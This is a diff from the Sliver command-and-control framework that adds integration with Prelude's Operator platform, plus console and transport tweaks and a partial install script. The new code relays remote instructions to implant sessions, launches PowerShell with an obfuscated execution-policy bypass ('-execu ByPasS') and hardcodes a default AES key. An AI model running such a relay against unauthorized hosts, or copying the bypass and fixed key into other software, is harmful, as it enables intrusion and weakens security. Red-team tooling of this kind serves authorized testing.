con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
}
|
||||
@@ -2,6 +2,8 @@ package privilege
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -27,6 +29,8 @@ import (
|
||||
*/
|
||||
|
||||
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var processName string = "Current Process"
|
||||
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
@@ -56,10 +60,15 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if privs.ProcessName != "" {
|
||||
processName = privs.ProcessName
|
||||
}
|
||||
|
||||
// To make things look pretty, figure out the longest name and description
|
||||
// for column width
|
||||
var nameColumnWidth int = 0
|
||||
var descriptionColumnWidth int = 0
|
||||
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
|
||||
|
||||
for _, entry := range privs.PrivInfo {
|
||||
if len(entry.Name) > nameColumnWidth {
|
||||
@@ -74,12 +83,13 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
nameColumnWidth += 1
|
||||
descriptionColumnWidth += 1
|
||||
|
||||
con.Println("Privilege Information for Current Process")
|
||||
con.Println("-----------------------------------------")
|
||||
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
|
||||
con.Println(strings.Repeat("-", introWidth))
|
||||
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
|
||||
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
|
||||
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
|
||||
for _, entry := range privs.PrivInfo {
|
||||
con.Printf("%-*s\t%-*s\t(", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
|
||||
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
|
||||
if entry.Enabled {
|
||||
con.Printf("Enabled")
|
||||
} else {
|
||||
@@ -94,6 +104,6 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if entry.UsedForAccess {
|
||||
con.Printf(", Used for Access")
|
||||
}
|
||||
con.Printf(")\n")
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
@@ -32,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -95,6 +96,8 @@ type BindCmds func(console *SliverConsoleClient)
|
||||
// Start - Console entrypoint
|
||||
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
|
||||
|
||||
assets.Setup(false, false)
|
||||
|
||||
con := &SliverConsoleClient{
|
||||
App: grumble.New(&grumble.Config{
|
||||
Name: "Sliver",
|
||||
@@ -185,6 +188,13 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
}
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
@@ -201,6 +211,13 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
con.Printf(Warn + "Active session disconnected\n")
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator\n", session.Name)
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
|
||||
|
||||
@@ -213,6 +213,8 @@ const (
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
OperatorStr = "operator"
|
||||
ConnectStr = "connect"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -103,8 +103,6 @@ func (tun *Tunnel) Read(data []byte) (int, error) {
|
||||
case data := <-tun.Recv:
|
||||
log.Printf("Read %d bytes", len(data))
|
||||
buff.Write(data)
|
||||
default:
|
||||
break
|
||||
}
|
||||
n := copy(data, buff.Bytes())
|
||||
return n, nil
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
@@ -0,0 +1,132 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
type AgentSession struct {
|
||||
Conn *net.Conn
|
||||
Session *clientpb.Session
|
||||
RPC rpcpb.SliverRPCClient
|
||||
Beacon Beacon
|
||||
Config AgentConfig
|
||||
}
|
||||
|
||||
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
|
||||
return &AgentSession{
|
||||
Conn: c,
|
||||
Session: s,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
Beacon: b,
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) ReceiveLoop() {
|
||||
for {
|
||||
err := a.send()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
message := strings.TrimSpace(scanner.Text())
|
||||
err = a.respond(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) send() error {
|
||||
data, err := json.Marshal(a.Beacon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
|
||||
sendBuffer := make([]byte, 1024)
|
||||
for {
|
||||
_, err := dataBuff.Read(sendBuffer)
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
|
||||
return err
|
||||
}
|
||||
time.Sleep(time.Duration(a.Beacon.Sleep))
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) respond(message string) error {
|
||||
var tempBeacon Beacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
a.Beacon.Links = a.Beacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
a.refreshBeacon(&a.Config)
|
||||
a.send()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
//TODO handle link.payloadPath
|
||||
payloadPath := ""
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
a.Beacon.Links = append(a.Beacon.Links, link)
|
||||
a.Config.EndInstruction(link)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Session),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.Beacon.Sleep = conf.Sleep
|
||||
a.Beacon.Range = conf.Range
|
||||
a.Beacon.Pwd = pwd
|
||||
a.Beacon.Target = conf.Address
|
||||
a.Beacon.Executing = conf.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(defaultTimeout)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "config":
|
||||
// return updateConfiguration(task[1], agent)
|
||||
// case "shell":
|
||||
// return pty.SpawnShell(task[1], agent)
|
||||
case "exit":
|
||||
return shutdown(agent, rpc, session)
|
||||
default:
|
||||
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agent, rpc, session)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
}
|
||||
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
|
||||
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
|
||||
}
|
||||
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, 0, 0
|
||||
}
|
||||
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/C", "/S"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "ByPasS", "-C"}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func splitMessage(message string, splitRune rune) []string {
|
||||
quoted := false
|
||||
values := strings.FieldsFunc(message, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == splitRune
|
||||
})
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), 1, 0
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"sort"
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
Name string
|
||||
AESKey string
|
||||
Range string
|
||||
Contact string
|
||||
Address string
|
||||
Useragent string
|
||||
Sleep int
|
||||
KillSleep int
|
||||
CommandJitter int
|
||||
CommandTimeout int
|
||||
Pid int
|
||||
Proxy string
|
||||
Debug bool
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type Beacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
Location string
|
||||
Platform string
|
||||
Executors []string
|
||||
Range string
|
||||
Sleep int
|
||||
Pwd string
|
||||
Executing string
|
||||
Links []Instruction
|
||||
}
|
||||
|
||||
type Instruction struct {
|
||||
ID string `json:"ID"`
|
||||
Executor string `json:"Executor"`
|
||||
Payload string `json:"Payload"`
|
||||
Request string `json:"Request"`
|
||||
Response string
|
||||
Status int
|
||||
Pid int
|
||||
}
|
||||
|
||||
func (c *AgentConfig) BuildExecutingHash() string {
|
||||
if count := len(c.Executing); count > 0 {
|
||||
ids := make([]string, count)
|
||||
for id := range c.Executing {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
h := md5.New()
|
||||
for _, s := range ids {
|
||||
io.WriteString(h, s)
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
|
||||
if _, ex := c.Executing[instruction.ID]; ex {
|
||||
return false
|
||||
}
|
||||
c.Executing[instruction.ID] = instruction
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
|
||||
for _, i := range instructions {
|
||||
if c.StartInstruction(i) {
|
||||
ret = append(ret, i)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *AgentConfig) EndInstruction(instruction Instruction) {
|
||||
delete(c.Executing, instruction.ID)
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
aesDefaultKey = "abcdefghijklmnopqrstuvwxyz012345"
|
||||
)
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
RPC rpcpb.SliverRPCClient
|
||||
AESKey string
|
||||
}
|
||||
|
||||
type PreludeSessionMapper struct {
|
||||
sessions []*AgentSession
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
|
||||
if SessionMapper == nil {
|
||||
SessionMapper = &PreludeSessionMapper{
|
||||
sessions: make([]*AgentSession, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return SessionMapper
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(s),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embeded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: s.Hostname,
|
||||
Location: s.Filename,
|
||||
Platform: s.OS,
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(s.OS, s.Arch),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: 3,
|
||||
}
|
||||
|
||||
encryptionKey := aesDefaultKey
|
||||
if p.conf.AESKey != "" {
|
||||
encryptionKey = p.conf.AESKey
|
||||
}
|
||||
agentConfig := AgentConfig{
|
||||
Name: sessName,
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Executing: make(map[string]Instruction),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
p.Lock()
|
||||
p.sessions = append(p.sessions, agentSession)
|
||||
p.Unlock()
|
||||
go agentSession.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
p.Lock()
|
||||
for _, agentSession := range p.sessions {
|
||||
if agentSession.Session.ID == s.ID {
|
||||
if agentSession.Conn != nil {
|
||||
err = (*agentSession.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
}
|
||||
}
|
||||
p.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package util
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
var EncryptionKey *string
|
||||
|
||||
//Encrypt the results
|
||||
func Encrypt(bites []byte) []byte {
|
||||
plainText, err := pad(bites, aes.BlockSize)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
block, _ := aes.NewCipher([]byte(*EncryptionKey))
|
||||
cipherText := make([]byte, aes.BlockSize+len(plainText))
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
|
||||
return []byte(fmt.Sprintf("%x", cipherText))
|
||||
}
|
||||
|
||||
//Decrypt a command
|
||||
func Decrypt(text string) string {
|
||||
cipherText, _ := hex.DecodeString(text)
|
||||
block, err := aes.NewCipher([]byte(*EncryptionKey))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
iv := cipherText[:aes.BlockSize]
|
||||
cipherText = cipherText[aes.BlockSize:]
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cipherText, cipherText)
|
||||
cipherText, _ = unpad(cipherText, aes.BlockSize)
|
||||
return string(cipherText)
|
||||
}
|
||||
|
||||
func pad(buf []byte, size int) ([]byte, error) {
|
||||
bufLen := len(buf)
|
||||
padLen := size - bufLen%size
|
||||
padded := make([]byte, bufLen+padLen)
|
||||
copy(padded, buf)
|
||||
for i := 0; i < padLen; i++ {
|
||||
padded[bufLen+i] = byte(padLen)
|
||||
}
|
||||
return padded, nil
|
||||
}
|
||||
|
||||
func unpad(padded []byte, size int) ([]byte, error) {
|
||||
if len(padded)%size != 0 {
|
||||
return nil, errors.New("pkcs7: Padded value wasn't in correct size")
|
||||
}
|
||||
bufLen := len(padded) - int(padded[len(padded)-1])
|
||||
buf := make([]byte, bufLen)
|
||||
copy(buf, padded[:bufLen])
|
||||
return buf, nil
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package util
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
"executor": {"python", "pwsh", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
// if checkIfExecutorAvailable(platformValue["file"][i]) {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
executors = append([]string{"keyword"}, executors...)
|
||||
return executors
|
||||
}
|
||||
@@ -19,6 +19,7 @@ package transport
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
@@ -51,12 +52,13 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
|
||||
}
|
||||
creds := credentials.NewTLS(tlsConfig)
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTimeout(defaultTimeout),
|
||||
grpc.WithTransportCredentials(creds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -81,17 +83,16 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
|
||||
RootCAs: caCertPool,
|
||||
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
|
||||
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
|
||||
},
|
||||
}
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
return tlsConfig, nil
|
||||
}
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
roots := x509.NewCertPool()
|
||||
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
|
||||
|
||||
+120
-24
@@ -1,15 +1,22 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
SLIVER_GPG_KEY_ID=4449039C
|
||||
|
||||
if [ "$EUID" -ne 0 ]
|
||||
then echo "Please run as root"
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v yum)" ]
|
||||
then
|
||||
sudo -S -p '' yum -y install zip unzip curl gcc gcc-c++ make mingw64-gcc
|
||||
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
|
||||
fi
|
||||
|
||||
if [ -n "$(command -v apt-get)" ]
|
||||
then
|
||||
DEBIAN_FRONTEND=noninteractive sudo -S -p '' apt-get install -yqq \
|
||||
zip unzip curl build-essential \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
|
||||
zip unzip gpg curl build-essential \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
fi
|
||||
|
||||
@@ -31,9 +38,69 @@ then
|
||||
echo "zip could not be found"
|
||||
exit 1
|
||||
fi
|
||||
# GPG
|
||||
if ! command -v gpg &> /dev/null
|
||||
then
|
||||
echo "gpg could not be found"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cd $HOME
|
||||
echo "Running from $HOME"
|
||||
cd /root
|
||||
echo "Running from $(pwd)"
|
||||
|
||||
gpg --import <<EOF
|
||||
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
||||
|
||||
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
|
||||
